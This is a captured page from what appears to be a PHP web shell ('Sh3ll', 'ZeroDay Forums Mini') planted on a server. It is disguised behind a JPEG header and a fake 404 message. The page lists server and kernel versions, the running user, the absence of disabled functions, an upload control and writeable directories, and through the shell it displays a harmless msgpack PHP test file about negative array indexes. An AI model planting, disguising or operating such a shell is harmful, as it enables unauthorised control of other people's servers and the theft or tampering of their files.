����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/msgpack/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/msgpack/tests/issue083.phpt
--TEST--
Issue #83 (Arrays and negative index)
--SKIPIF--
<?php
if (!extension_loaded("msgpack")) {
    die("skip");
}
?>
--FILE--
<?php

var_dump(msgpack_unpack(msgpack_pack([-1=>-1,1=>1])));

$a = [
    -1 => -1,
    0,
    1 => 1,
    2
];
// next free element == 3 and count() == 3, but it's still not an MP array
unset($a[1]);
var_dump(msgpack_unpack(msgpack_pack($a)));

?>
OK
--EXPECT--
array(2) {
  [-1]=>
  int(-1)
  [1]=>
  int(1)
}
array(3) {
  [-1]=>
  int(-1)
  [0]=>
  int(0)
  [2]=>
  int(2)
}
OK

ZeroDay Forums Mini